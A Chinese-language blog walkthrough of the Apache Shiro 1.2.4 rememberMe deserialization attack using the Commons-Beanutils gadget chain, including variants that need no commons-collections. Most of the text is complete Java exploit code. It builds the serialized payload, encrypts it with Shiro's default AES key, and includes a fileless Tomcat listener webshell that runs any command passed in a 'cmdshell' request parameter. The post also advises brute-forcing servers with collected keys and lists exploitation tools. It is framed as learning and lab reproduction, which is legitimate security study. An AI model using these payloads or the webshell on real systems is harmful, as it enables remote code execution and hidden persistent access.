0 前言

其实shiro的反序列化过程看过,原理也理解,就是没空复现一遍,正好学习ysoserial序列化系列学习之一Commons-Beanutils,复现一下shiro无其它依赖的命令执行。

1 环境

jdk 1.8u40

commons-beanutils

  1. <dependency>
  2. <groupId>commons-beanutils</groupId>
  3. <artifactId>commons-beanutils</artifactId>
  4. <version>1.8.3</version>
  5. </dependency>

javassist

  1. <dependency>
  2. <groupId>org.javassist</groupId>
  3. <artifactId>javassist</artifactId>
  4. <version>3.21.0-GA</version>
  5. </dependency>

shiro: https://github.com/phith0n/JavaThings/tree/master/shirodemo

shiro版本:1.2.4

2 commons-beanutils反序列化链

先上代码

  1. import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
  2. import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
  3. import javassist.ClassPool;
  4. import javassist.CtClass;
  5. import org.apache.commons.beanutils.BeanComparator;
  6. import java.io.*;
  7. import java.lang.reflect.Field;
  8. import java.util.PriorityQueue;
  9. public class CommonsBeanutils {
  10. // 修改值的方法,简化代码
  11. public static void setFieldValue(Object object, String fieldName, Object value) throws Exception{
  12. Field field = object.getClass().getDeclaredField(fieldName);
  13. field.setAccessible(true);
  14. field.set(object, value);
  15. }
  16. public static void main(String[] args) throws Exception {
  17. // 创建恶意类,用于报错抛出调用链
  18. ClassPool pool = ClassPool.getDefault();
  19. CtClass payload = pool.makeClass("EvilClass");
  20. payload.setSuperclass(pool.get("com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet"));
  21. payload.makeClassInitializer().setBody("new java.io.IOException().printStackTrace();");
  22. // payload.makeClassInitializer().setBody("java.lang.Runtime.getRuntime().exec(\"calc\");");
  23. byte[] evilClass = payload.toBytecode();
  24. // set field
  25. TemplatesImpl templates = new TemplatesImpl();
  26. setFieldValue(templates, "_bytecodes", new byte[][]{evilClass});
  27. setFieldValue(templates, "_name", "test");
  28. setFieldValue(templates,"_tfactory", new TransformerFactoryImpl());
  29. // 创建序列化对象
  30. BeanComparator beanComparator = new BeanComparator();
  31. PriorityQueue<Object> queue = new PriorityQueue<Object>(2, beanComparator);
  32. queue.add(1);
  33. queue.add(1);
  34. // 修改值
  35. setFieldValue(beanComparator, "property", "outputProperties");
  36. setFieldValue(queue, "queue", new Object[]{templates, templates});
  37. // 反序列化
  38. ObjectOutputStream out = new ObjectOutputStream(new FileOutputStream("serialize.ser"));
  39. out.writeObject(queue);
  40. ObjectInputStream in = new ObjectInputStream(new FileInputStream("serialize.ser"));
  41. in.readObject();
  42. }
  43. }

2.1 TemplatesImple调用链

这里就不详细展开了,前面的文章里面有详细的描述:https://www.cnblogs.com/bitterz/p/15263152.html#倒序分析

大致的调用链是:

  1. TemplatesImpl#getOutputProperties() -> TemplatesImpl#newTransformer() -> TemplatesImpl#getTransletInstance() -> TemplatesImpl#defineTransletClasses() -> TransletClassLoader#defineClass()

实际的操作是TemplatesImpl对象中的_bytecodes数组中的字节码,会被遍历并使用ClassLoader#defineClass加载到jvm中,而后返回一个类对象,并被调用无参构造方法,我们的payload在无参构造方法里插入了恶意代码,从而实现RCE。

2.2 PriorityQueue调用链

执行前面的代码后,看到如下调用链:

  1. at EvilClass.<clinit>(EvilClass.java)
  2. ...不重要,省略
  3. at java.lang.reflect.Constructor.newInstance(Constructor.java:422)
  4. at java.lang.Class.newInstance(Class.java:442)
  5. at com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl.getTransletInstance(TemplatesImpl.java:387)
  6. at com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl.newTransformer(TemplatesImpl.java:418)
  7. at com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl.getOutputProperties(TemplatesImpl.java:439)
  8. ...不重要,省略
  9. at org.apache.commons.beanutils.PropertyUtilsBean.invokeMethod(PropertyUtilsBean.java:2155)
  10. at org.apache.commons.beanutils.PropertyUtilsBean.getSimpleProperty(PropertyUtilsBean.java:1323)
  11. at org.apache.commons.beanutils.PropertyUtilsBean.getNestedProperty(PropertyUtilsBean.java:762)
  12. at org.apache.commons.beanutils.PropertyUtilsBean.getProperty(PropertyUtilsBean.java:837)
  13. at org.apache.commons.beanutils.PropertyUtils.getProperty(PropertyUtils.java:426)
  14. at org.apache.commons.beanutils.BeanComparator.compare(BeanComparator.java:157)
  15. at java.util.PriorityQueue.siftDownUsingComparator(PriorityQueue.java:721)
  16. at java.util.PriorityQueue.siftDown(PriorityQueue.java:687)
  17. at java.util.PriorityQueue.heapify(PriorityQueue.java:736)
  18. at java.util.PriorityQueue.readObject(PriorityQueue.java:795)

可见,字节码被反序列化时,PriorityQueue#readObject方法会被调用,代码如下

  • PriorityQueue#readObject
  1. private void readObject(java.io.ObjectInputStream s) throws java.io.IOException, ClassNotFoundException {
  2. // Read in size, and any hidden stuff
  3. s.defaultReadObject();
  4. // Read in (and discard) array length
  5. s.readInt();
  6. queue = new Object[size];
  7. // Read in all elements.
  8. for (int i = 0; i < size; i++)
  9. queue[i] = s.readObject();
  10. // Elements are guaranteed to be in "proper order", but the
  11. // spec has never explained what that might be.
  12. heapify();
  13. }

其实没有什么特别的操作,跟进PriorityQueue#heapify即可

  • PriorityQueue#heapify
  1. private void heapify() {
  2. for (int i = (size >>> 1) - 1; i >= 0; i--)
  3. siftDown(i, (E) queue[i]);
  4. }

此时i不重要,queue[i]=templates恶意对象,也没有太多可以说的点,因为priorityQueue对象中只保存了两个templates对象,所以继续跟进PriorityQueue#siftDown即可

  • PriorityQueue#siftDown
  1. private void siftDown(int k, E x) {
  2. if (comparator != null)
  3. siftDownUsingComparator(k, x);
  4. else
  5. siftDownComparable(k, x);
  6. }

此时x=templates恶意对象,这里很明显,由于priorityQueue对象创建时,我们传入了对应的comparator对象,所以comparator != null,进入PriorityQueue#siftDownUsingComparator

  • PriorityQueue#siftDownUsingComparator
  1. private void siftDownUsingComparator(int k, E x) {
  2. int half = size >>> 1;
  3. while (k < half) {
  4. int child = (k << 1) + 1;
  5. Object c = queue[child];
  6. int right = child + 1;
  7. if (right < size &&
  8. comparator.compare((E) c, (E) queue[right]) > 0) // 由于if语句中使用and时,最短判断原则,当right>size时,不会执行这个compare
  9. c = queue[child = right];
  10. if (comparator.compare(x, (E) c) <= 0) // 这个compare方法一定会执行
  11. break;
  12. queue[k] = c;
  13. k = child;
  14. }
  15. queue[k] = x;
  16. }

此时x=templates恶意对象,到这里,实际上PriorityQueue的调用链就清晰了,主要是从readObject会执行到comparator.compare()方法,由于我们给定了PriorityQueue的comparator这个成员变量为BeanComparator,所以需要跟进BeanComparator.compare方法

2.3 BeanComparator

直接看代码

  • BeanComparator#compare
  1. public int compare( Object o1, Object o2 ) {
  2. if ( property == null ) {
  3. // compare the actual objects
  4. return comparator.compare( o1, o2 );
  5. }
  6. try {
  7. Object value1 = PropertyUtils.getProperty( o1, property );
  8. Object value2 = PropertyUtils.getProperty( o2, property );
  9. return comparator.compare( value1, value2 );
  10. }
  11. catch ( IllegalAccessException iae ) {
  12. throw new RuntimeException( "IllegalAccessException: " + iae.toString() );
  13. }
  14. catch ( InvocationTargetException ite ) {
  15. throw new RuntimeException( "InvocationTargetException: " + ite.toString() );
  16. }
  17. catch ( NoSuchMethodException nsme ) {
  18. throw new RuntimeException( "NoSuchMethodException: " + nsme.toString() );
  19. }
  20. }

我们的代码中,反射修改了BeanComparator的property属性为"outputProperties",即property="outputProperties",所以进入try代码块,之前从PriorityQueue传进来的变量o1=templates恶意对象,而PropertyUtils.getProperty方法也比较简单,就是获取指定的属性,跟进一下

  • PropertyUtils#getProperty
  1. public static Object getProperty(Object bean, String name)throws IllegalAccessException, InvocationTargetException, NoSuchMethodException {
  2. return (PropertyUtilsBean.getInstance().getProperty(bean, name));
  3. }

注意此时bean=templates,name="outputProperties",需要跟进PropertyUtilsBean#getProperty方法

  • PropertyUtilsBean#getProperty
  1. public Object getProperty(Object bean, String name) throws IllegalAccessException, InvocationTargetException, NoSuchMethodException {
  2. return (getNestedProperty(bean, name));
  3. }

此时bean=templates,name="outputProperties",继续跟进

  • PropertyUtilsBean#getNestedProperty
  1. public Object getNestedProperty(Object bean, String name) throws IllegalAccessException, InvocationTargetException, NoSuchMethodException {
  2. if (bean == null) {
  3. throw new IllegalArgumentException("No bean specified");
  4. }
  5. if (name == null) {
  6. throw new IllegalArgumentException("No name specified for bean class '" +
  7. bean.getClass() + "'");
  8. }
  9. // Resolve nested references
  10. while (resolver.hasNested(name)) {
  11. // 不关键代码
  12. }
  13. if (bean instanceof Map) {
  14. bean = getPropertyOfMapBean((Map) bean, name);
  15. } else if (resolver.isMapped(name)) {
  16. bean = getMappedProperty(bean, name);
  17. } else if (resolver.isIndexed(name)) {
  18. bean = getIndexedProperty(bean, name);
  19. } else {
  20. bean = getSimpleProperty(bean, name);
  21. }
  22. return bean;
  23. }

此时bean=templates,name="outputProperties",要过while循环,判断语句中resolver是DefaultResolver类的实例,跟进其中的hasNested方法即可,比较简单就不贴代码了,返回值为false,所以不进入while循环,直接进入下面if else代码块,由于bean=templates所以if和else if判断都是false,进入else代码块,执行PropertyUtilsBean#getSimpleProperty

  • PropertyUtilsBean#getSimpleProperty
  1. public Object getSimpleProperty(Object bean, String name) throws IllegalAccessException, InvocationTargetException, NoSuchMethodException {
  2. // 省略
  3. // Handle DynaBean instances specially
  4. if (bean instanceof DynaBean) {
  5. // 省略
  6. }
  7. // Retrieve the property getter method for the specified property
  8. PropertyDescriptor descriptor = getPropertyDescriptor(bean, name); // 关键点1和上方的注释
  9. if (descriptor == null) {
  10. throw new NoSuchMethodException("Unknown property '" +
  11. name + "' on class '" + bean.getClass() + "'" );
  12. }
  13. Method readMethod = getReadMethod(bean.getClass(), descriptor); // 关键点2
  14. if (readMethod == null) {
  15. throw new NoSuchMethodException("Property '" + name +
  16. "' has no getter method in class '" + bean.getClass() + "'");
  17. }
  18. // Call the property getter and return the value
  19. Object value = invokeMethod(readMethod, bean, EMPTY_OBJECT_ARRAY); // 进入TemplatesImpl#getOutputProperties()调用链
  20. return (value);
  21. }

这个方法中有三个关键点,第一个是调用getPropertyDescriptor方法获取属性的getter方法,从上面的英文注释就可以看到,当然具体代码也可以看到methodName="get"+name的操作。然后后getReadMethod方法获取TemplatesImpl#getOutputProperties这个method对象,然后进入invokeMethod方法,执行TemplatesImpl#getOutputProperties调用链,触发恶意代码。

3 Shiro无依赖paylaod

前面的commons-beanutils反序列化链看起来似乎只依赖了一个Commons-Beanutils依赖,但实际上打开org.apache.commons.beanutils.BeanComparator的源代码,看到里面存在:import org.apache.commons.collections.comparators.ComparableComparator;,而ComparableComparator来自于commons-collections。

这些依赖会导致一个问题,shiro必须使用Commons-Beanutils这个依赖,但不需要Commons-Collections,因为shiro只需要用到Commons-Beanutils中的一些类,不涉及Commons-Collections,因此前面的利用链会直接失效,我们需要对BeanComparator中的comparator属性修改为jdk自带的类,从而避免依赖问题。

shiro的反序列化漏洞原理就不详细展开了(其实也就是获取rememberMe字段的值,然后base64解码,再aes解码,然后执行readObject反序列化),网上资料很多,我这里使用的环境来自于shirodemo,导入idea后,然后启动项目,在login.jsp页面勾选rememberMe,使用burp抓包,在cookie里面添加"rememberMe=payload;" ,注意分号;

获取payload的代码如下

  1. package com.bitterz.stream;
  2. import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
  3. import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
  4. import javassist.ClassPool;
  5. import javassist.CtClass;
  6. import org.apache.commons.beanutils.BeanComparator;
  7. import org.apache.shiro.crypto.AesCipherService;
  8. import org.apache.shiro.util.ByteSource;
  9. import java.io.ByteArrayOutputStream;
  10. import java.io.ObjectOutputStream;
  11. import java.lang.reflect.Field;
  12. import java.util.PriorityQueue;
  13. public class CommonsBeanutilsShiro {
  14. // 反射修改field,统一写成函数,方便阅读代码
  15. public static void setFieldValue(Object object, String fieldName, Object value) throws Exception{
  16. Field field = object.getClass().getDeclaredField(fieldName);
  17. field.setAccessible(true);
  18. field.set(object, value);
  19. }
  20. // 获取攻击链序列化后的byte数组
  21. public static byte[] getPayload() throws Exception {
  22. // 创建恶意类,用于报错抛出调用链
  23. ClassPool pool = ClassPool.getDefault();
  24. CtClass payload = pool.makeClass("EvilClass");
  25. payload.setSuperclass(pool.get("com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet"));
  26. // 看shiro调用链用这个
  27. // payload.makeClassInitializer().setBody("new java.io.IOException().printStackTrace();");
  28. payload.makeClassInitializer().setBody("java.lang.Runtime.getRuntime().exec(\"calc\");");
  29. byte[] evilClass = payload.toBytecode();
  30. // set field
  31. TemplatesImpl templates = new TemplatesImpl();
  32. setFieldValue(templates, "_bytecodes", new byte[][]{evilClass});
  33. setFieldValue(templates, "_name", "test");
  34. setFieldValue(templates,"_tfactory", new TransformerFactoryImpl());
  35. // 创建序列化对象
  36. BeanComparator beanComparator = new BeanComparator();
  37. PriorityQueue<Object> queue = new PriorityQueue<Object>(2, beanComparator);
  38. queue.add(1);
  39. queue.add(1);
  40. // 修改值
  41. setFieldValue(beanComparator, "property", "outputProperties");
  42. setFieldValue(queue, "queue", new Object[]{templates, templates});
  43. // 反序列化
  44. ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream();
  45. ObjectOutputStream out = new ObjectOutputStream(byteArrayOutputStream);
  46. out.writeObject(queue);
  47. out.close();
  48. return byteArrayOutputStream.toByteArray();
  49. }
  50. public static void main(String[] args) throws Exception {
  51. byte[] payloads = CommonsBeanutilsShiro.getPayload();
  52. AesCipherService aes = new AesCipherService();
  53. byte[] key = java.util.Base64.getDecoder().decode("kPH+bIxk5D2deZiIxcaaaA==");
  54. // 为shiro 1.2.4默认密钥,详情见AbstractRememberMeManager类的DEFAULT_CIPHER_KEY_BYTES属性
  55. ByteSource ciphertext = aes.encrypt(payloads, key);
  56. // 由于继承关系,encrypt实际调用的是JcaCipherService#encrypt
  57. // 跟进代码后发现实际返回的是ByteSource接口的实现类——SimpleByteSource类,其toString方法会自动对byte数组进行base64编码
  58. System.out.printf(ciphertext.toString());
  59. }
  60. }

执行代码,获取shiro反序列化攻击的payload,如前面说的一样,加入到cookie中,发送payload

成功弹出计算器,但是我们修改pom.xml,注释掉commons-collections的依赖,然后重启项目,就会发现之前的payload会报错:

  1. Caused by: org.apache.shiro.util.UnknownClassException: Unable to load class named [org.apache.commons.collections.comparators.ComparableComparator] from the thread context, current, or system/application ClassLoaders. All heuristics have been exhausted. Class could not be found.

这里也就很明显触发了前面提到的问题,shiro一定依赖与commons-beanutils,但Web应用不一定依赖commons-collections,那么我们应该如何修正呢?

首先是BeanComparator的几个构造方法:

  • BeanComparator的构造方法
  1. public class BeanComparator implements Comparator, Serializable {
  2. private String property;
  3. private Comparator comparator;
  4. public BeanComparator() { // 构造方法1
  5. this( null );
  6. }
  7. public BeanComparator( String property ) { // 构造方法2
  8. this( property, ComparableComparator.getInstance() );
  9. }
  10. public BeanComparator( String property, Comparator comparator ) { // 构造方法3
  11. setProperty( property );
  12. if (comparator != null) {
  13. this.comparator = comparator;
  14. } else {
  15. this.comparator = ComparableComparator.getInstance();
  16. }
  17. }
  18. }

可以看到,想要不使用ComparableComparator这个类,必须在构造方法3处给入comparator参数,由于comparator必须存在,但具体什么类型并不影响后面的调用链,所以给进去的这个类要满足三个条件即可:

  • 实现java.util.Comparator接口
  • 实现java.io.Serializable接口
  • Java、shiro或commons-beanutils自带,且兼容性强

这里直接用一下大佬给出的两个类:

  • String.CASE_INSENSITIVE_ORDER获取运行环境中的CaseInsensitiveComparator类
  • java.util.Collections$ReverseComparator

CaseInsensitiveComparator

利用这两个类,对前面的代码稍加修改

  1. package com.bitterz.stream;
  2. import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
  3. import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
  4. import javassist.ClassPool;
  5. import javassist.CtClass;
  6. import org.apache.commons.beanutils.BeanComparator;
  7. import org.apache.shiro.crypto.AesCipherService;
  8. import org.apache.shiro.util.ByteSource;
  9. import java.io.ByteArrayOutputStream;
  10. import java.io.ObjectOutputStream;
  11. import java.lang.reflect.Field;
  12. import java.util.PriorityQueue;
  13. import java.util.Collections;
  14. public class CommonsBeanutilsShiro {
  15. // 反射修改field,统一写成函数,方便阅读代码
  16. public static void setFieldValue(Object object, String fieldName, Object value) throws Exception{
  17. Field field = object.getClass().getDeclaredField(fieldName);
  18. field.setAccessible(true);
  19. field.set(object, value);
  20. }
  21. // 获取攻击链序列化后的byte数组
  22. public static byte[] getPayload() throws Exception {
  23. // 创建恶意类,用于报错抛出调用链
  24. ClassPool pool = ClassPool.getDefault();
  25. CtClass payload = pool.makeClass("EvilClass");
  26. payload.setSuperclass(pool.get("com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet"));
  27. // 看shiro调用链用这个
  28. // payload.makeClassInitializer().setBody("new java.io.IOException().printStackTrace();");
  29. payload.makeClassInitializer().setBody("java.lang.Runtime.getRuntime().exec(\"calc\");");
  30. byte[] evilClass = payload.toBytecode();
  31. // set field
  32. TemplatesImpl templates = new TemplatesImpl();
  33. setFieldValue(templates, "_bytecodes", new byte[][]{evilClass});
  34. setFieldValue(templates, "_name", "test");
  35. setFieldValue(templates,"_tfactory", new TransformerFactoryImpl());
  36. // 创建序列化对象
  37. BeanComparator beanComparator = new BeanComparator(null, String.CASE_INSENSITIVE_ORDER); // **修改点1**
  38. PriorityQueue<Object> queue = new PriorityQueue<Object>(2, beanComparator);
  39. queue.add("1"); // **修改点2**
  40. queue.add("1");
  41. // 修改值
  42. setFieldValue(beanComparator, "property", "outputProperties");
  43. setFieldValue(queue, "queue", new Object[]{templates, templates});
  44. // 反序列化
  45. ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream();
  46. ObjectOutputStream out = new ObjectOutputStream(byteArrayOutputStream);
  47. out.writeObject(queue);
  48. out.close();
  49. return byteArrayOutputStream.toByteArray();
  50. }
  51. public static void main(String[] args) throws Exception {
  52. byte[] payloads = CommonsBeanutilsShiro.getPayload();
  53. AesCipherService aes = new AesCipherService();
  54. byte[] key = java.util.Base64.getDecoder().decode("kPH+bIxk5D2deZiIxcaaaA==");
  55. // 为shiro 1.2.4默认密钥,详情见AbstractRememberMeManager类的DEFAULT_CIPHER_KEY_BYTES属性
  56. ByteSource ciphertext = aes.encrypt(payloads, key);
  57. // 由于继承关系,encrypt实际调用的是JcaCipherService#encrypt
  58. // 跟进代码后发现实际返回的是ByteSource接口的实现类——SimpleByteSource类,其toString方法会自动对byte数组进行base64编码
  59. System.out.printf(ciphertext.toString());
  60. }
  61. }

修改后,在无commons-collections的情况下再来一次

成功弹出计算器!如果想看shiro反序列化利用链的完整调用栈,可以把代码中的恶意代码改一下,上面的代码中已经给出了,操作一下就出来了。

java.util.Collections$ReverseComparator

先看看这个类相关的源码

  1. package java.util;
  2. public class Collections{
  3. public static <T> Comparator<T> reverseOrder() { // 直接调用这里
  4. return (Comparator<T>) ReverseComparator.REVERSE_ORDER;
  5. }
  6. private static class ReverseComparator implements Comparator<Comparable<Object>>, Serializable {
  7. static final ReverseComparator REVERSE_ORDER = new ReverseComparator();
  8. }
  9. }

可以看到直接调用Collections#reverseOrder方法即可获得该类对象,因此对前面的payload稍加更改即可实现无依赖的shiro反序列化

  1. //修改CommonsBeanutilsShiro类代码
  2. BeanComparator beanComparator = new BeanComparator(null, Collections.reverseOrder()); // 修改一下这里就可以
  3. PriorityQueue<Object> queue = new PriorityQueue<Object>(2, beanComparator);

修改之后再打一次,成功弹计算器

4 总结

4.1 shiro反序列化的注意事项

由于shiro反序列化需要用到AES加密,而该加密方法的密钥是加解密一致的,所以我们使用shiro反序列化时,AES加密的密钥必须跟服务器一致,所以经常需要盲猜服务器的密钥,好在java开发们一般都不会去修改它,而且常常直接copy论坛和github上的代码,所以可以大量收集各种密钥,然后遍历来完成反序列化漏洞利用。

好在也有很多可以直接上手用的扫描或利用工具,例如xrayhttps://github.com/feihong-cs/ShiroExploit-Deprecated、https://github.com/sv3nbeast/ShiroScan、https://github.com/j1anFen/shiro_attack

4.2 shiro反序列化利用--注入内存马

由于shiro作用于中间件的filter环节,所以servlet内存马在访问阶段就被shiro干掉了,不能用。因此必须写入filter内存马,并将其放在shiro的filter前面,以便访问和利用;另外,也可以写入listener内存马,不需要操心filter顺序问题,但可能会影响服务器性能。

这里以listener内存马实验一下,首先是listener内存马部分,编译的话,需要添加tomcat/lib目录下的jar包

  1. import com.sun.org.apache.xalan.internal.xsltc.DOM;
  2. import com.sun.org.apache.xalan.internal.xsltc.TransletException;
  3. import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
  4. import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
  5. import com.sun.org.apache.xml.internal.serializer.SerializationHandler;
  6. import org.apache.catalina.core.StandardContext;
  7. import org.apache.catalina.core.StandardEngine;
  8. import org.apache.catalina.core.StandardHost;
  9. import javax.servlet.*;
  10. import java.io.IOException;
  11. import java.lang.reflect.Field;
  12. import java.util.HashMap;
  13. import java.util.Iterator;
  14. public class Add extends AbstractTranslet implements ServletRequestListener {
  15. String uri;
  16. String serverName;
  17. StandardContext standardContext;
  18. String pwd = "cmdshell"; // 内存马的密码
  19. public Object getField(Object object, String fieldName) {
  20. Field declaredField;
  21. Class clazz = object.getClass();
  22. while (clazz != Object.class) {
  23. try {
  24. declaredField = clazz.getDeclaredField(fieldName);
  25. declaredField.setAccessible(true);
  26. return declaredField.get(object);
  27. } catch (NoSuchFieldException e){}
  28. catch (IllegalAccessException e){}
  29. clazz = clazz.getSuperclass();
  30. }
  31. return null;
  32. }
  33. public Add(String aaa){}
  34. public Add() {
  35. Thread[] threads = (Thread[]) this.getField(Thread.currentThread().getThreadGroup(), "threads");
  36. Object object;
  37. for (Thread thread : threads) {
  38. if (thread == null) {
  39. continue;
  40. }
  41. if (thread.getName().contains("exec")) {
  42. continue;
  43. }
  44. Object target = this.getField(thread, "target");
  45. if (!(target instanceof Runnable)) {
  46. continue;
  47. }
  48. try {
  49. object = getField(getField(getField(target, "this$0"), "handler"), "global");
  50. } catch (Exception e) {
  51. continue;
  52. }
  53. if (object == null) {
  54. continue;
  55. }
  56. java.util.ArrayList processors = (java.util.ArrayList) getField(object, "processors");
  57. Iterator iterator = processors.iterator();
  58. while (iterator.hasNext()) {
  59. Object next = iterator.next();
  60. Object req = getField(next, "req");
  61. Object serverPort = getField(req, "serverPort");
  62. if (serverPort.equals(-1)){continue;}
  63. org.apache.tomcat.util.buf.MessageBytes serverNameMB = (org.apache.tomcat.util.buf.MessageBytes) getField(req, "serverNameMB");
  64. this.serverName = (String) getField(serverNameMB, "strValue");
  65. if (this.serverName == null){
  66. this.serverName = serverNameMB.toString();
  67. }
  68. if (this.serverName == null){
  69. this.serverName = serverNameMB.getString();
  70. }
  71. org.apache.tomcat.util.buf.MessageBytes uriMB = (org.apache.tomcat.util.buf.MessageBytes) getField(req, "uriMB");
  72. this.uri = (String) getField(uriMB, "strValue");
  73. if (this.uri == null){
  74. this.uri = uriMB.toString();
  75. }
  76. if (this.uri == null){
  77. this.uri = uriMB.getString();
  78. }
  79. this.getStandardContext();
  80. }
  81. }
  82. if (this.standardContext != null){
  83. try {
  84. Add addListener = new Add("aaa");
  85. standardContext.addApplicationEventListener(addListener);
  86. }catch (Exception e){e.printStackTrace();}
  87. }
  88. }
  89. public void getStandardContext() {
  90. Thread[] threads = (Thread[]) this.getField(Thread.currentThread().getThreadGroup(), "threads");
  91. for (Thread thread : threads) {
  92. if (thread == null) {
  93. continue;
  94. }
  95. if ((thread.getName().contains("Acceptor")) && (thread.getName().contains("http"))) {
  96. Object target = this.getField(thread, "target");
  97. HashMap children;
  98. Object jioEndPoint = null;
  99. try {
  100. jioEndPoint = getField(target, "this$0");
  101. }catch (Exception e){}
  102. if (jioEndPoint == null){
  103. try{
  104. jioEndPoint = getField(target, "endpoint");
  105. }catch (Exception e){ return; }
  106. }
  107. Object service = getField(getField(getField(getField(getField(jioEndPoint, "handler"), "proto"), "adapter"), "connector"), "service");
  108. StandardEngine engine = null;
  109. try {
  110. engine = (StandardEngine) getField(service, "container");
  111. }catch (Exception e){}
  112. if (engine == null){
  113. engine = (StandardEngine) getField(service, "engine");
  114. }
  115. children = (HashMap) getField(engine, "children");
  116. StandardHost standardHost;
  117. standardHost = (StandardHost) children.get(this.serverName);
  118. if(standardHost == null){
  119. Iterator iterator = children.values().iterator();
  120. while (iterator.hasNext()){
  121. standardHost = (StandardHost) iterator.next();
  122. if (standardHost.getName().equals(this.serverName)){
  123. break;
  124. }
  125. if (standardHost.getName().equals("localhost")) {
  126. break;
  127. }
  128. }
  129. }
  130. try{
  131. children = (HashMap) getField(standardHost, "children");
  132. Iterator iterator = children.keySet().iterator();
  133. while (iterator.hasNext()){
  134. String contextKey = (String) iterator.next();
  135. if (!(this.uri.startsWith(contextKey))){continue;}
  136. StandardContext standardContext = (StandardContext) children.get(contextKey);
  137. this.standardContext = standardContext;
  138. }
  139. }catch (Exception e){
  140. e.printStackTrace();
  141. }
  142. }
  143. }
  144. }
  145. public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {}
  146. public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {}
  147. public void Add(String aaa){}
  148. @Override
  149. public void requestDestroyed(ServletRequestEvent sre) {
  150. }
  151. @Override
  152. public void requestInitialized(ServletRequestEvent sre) {
  153. String cmdshell = sre.getServletRequest().getParameter(this.pwd);
  154. if (cmdshell != null) {
  155. try {
  156. Runtime.getRuntime().exec(cmdshell);
  157. } catch (IOException e) {
  158. e.printStackTrace();
  159. }
  160. }
  161. }
  162. }

然后是构造shiro反序列化利用payload的部分

  1. import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
  2. import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
  3. import javassist.ClassPool;
  4. import javassist.CtClass;
  5. import javassist.CtConstructor;
  6. import javassist.CtNewConstructor;
  7. import net.dongliu.commons.Sys;
  8. import org.apache.commons.beanutils.BeanComparator;
  9. import org.apache.shiro.crypto.AesCipherService;
  10. import org.apache.shiro.util.ByteSource;
  11. import java.io.*;
  12. import java.lang.reflect.Field;
  13. import java.util.PriorityQueue;
  14. import java.util.Collections;
  15. public class CommonsBeanutilsShiro {
  16. // 反射修改field,统一写成函数,方便阅读代码
  17. public static void setFieldValue(Object object, String fieldName, Object value) throws Exception{
  18. Field field = object.getClass().getDeclaredField(fieldName);
  19. field.setAccessible(true);
  20. field.set(object, value);
  21. }
  22. // 获取攻击链序列化后的byte数组
  23. public static byte[] getPayload() throws Exception {
  24. // 创建恶意类,用于报错抛出调用链
  25. ClassPool pool = new ClassPool(true);
  26. pool.appendClassPath("C:\\Users\\helloworld\\Desktop\\java learn\\spring_mvc\\spring_mvc\\spring_mvc\\target\\classes\\"); // 前面Add类编译出来的Add.class的路径
  27. CtClass payload = pool.get("Add");
  28. byte[] evilClass = payload.toBytecode();
  29. // set field
  30. TemplatesImpl templates = new TemplatesImpl();
  31. setFieldValue(templates, "_bytecodes", new byte[][]{evilClass});
  32. setFieldValue(templates, "_name", "test");
  33. setFieldValue(templates,"_tfactory", new TransformerFactoryImpl());
  34. // 创建序列化对象
  35. // BeanComparator beanComparator = new BeanComparator(null, String.CASE_INSENSITIVE_ORDER);
  36. BeanComparator beanComparator = new BeanComparator(null, Collections.reverseOrder());
  37. PriorityQueue<Object> queue = new PriorityQueue<Object>(2, beanComparator);
  38. queue.add("1");
  39. queue.add("1");
  40. // 修改值
  41. setFieldValue(beanComparator, "property", "outputProperties");
  42. setFieldValue(queue, "queue", new Object[]{templates, templates});
  43. // 反序列化
  44. ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream();
  45. ObjectOutputStream out1 = new ObjectOutputStream(byteArrayOutputStream);
  46. out1.writeObject(queue);
  47. out1.close();
  48. return byteArrayOutputStream.toByteArray();
  49. }
  50. public static void main(String[] args) throws Exception {
  51. byte[] payloads = CommonsBeanutilsShiro.getPayload();
  52. AesCipherService aes = new AesCipherService();
  53. byte[] key = java.util.Base64.getDecoder().decode("kPH+bIxk5D2deZiIxcaaaA==");
  54. // 为shiro 1.2.4默认密钥,详情见AbstractRememberMeManager类的DEFAULT_CIPHER_KEY_BYTES属性
  55. ByteSource ciphertext = aes.encrypt(payloads, key);
  56. // 由于继承关系,encrypt实际调用的是JcaCipherService#encrypt
  57. // 跟进代码后发现实际返回的是ByteSource接口的实现类——SimpleByteSource类,其toString方法会自动对byte数组进行base64编码
  58. System.out.printf(ciphertext.toString());
  59. }
  60. }

执行CommonsBeanutilsShiro#main方法,获得payload,用burp发包,这里都比较简单就不截图了,来看看效果:

在/shirodemo/这个uri下,输入任意路径,加参数cmdshell,即可执行命令,由于shiro的作用,执行后又会自动跳到登录页面

从commons-beanutils反序列化到shiro无依赖的漏洞利用的更多相关文章

  1. ysoserial-CommonsBeanutils1的shiro无依赖链改造

    ysoserial-CommonsBeanutils1的shiro无依赖链改造 一.CB1利用链分析 此条利用链需要配合Commons-Beanutils组件来进行利用,在shiro中是自带此组件的. ...

  2. Apache Commons Beanutils 三 (BeanUtils、ConvertUtils、CollectionUtils...)

    前言 前面已经学习了Apache Commons Beanutils包里的PropertyUtils和动态bean,接下来将学习剩下的几个工具类,个人觉得还是非常实用的,特别是CollectionUt ...

  3. Apache Commons Beanutils 一 (使用PropertyUtils访问Bean属性)

    BeanUtils简要描述 beanutils,顾名思义,是java bean的一个工具类,可以帮助我们方便的读取(get)和设置(set)bean属性值.动态定义和访问bean属性: 细心的话,会发 ...

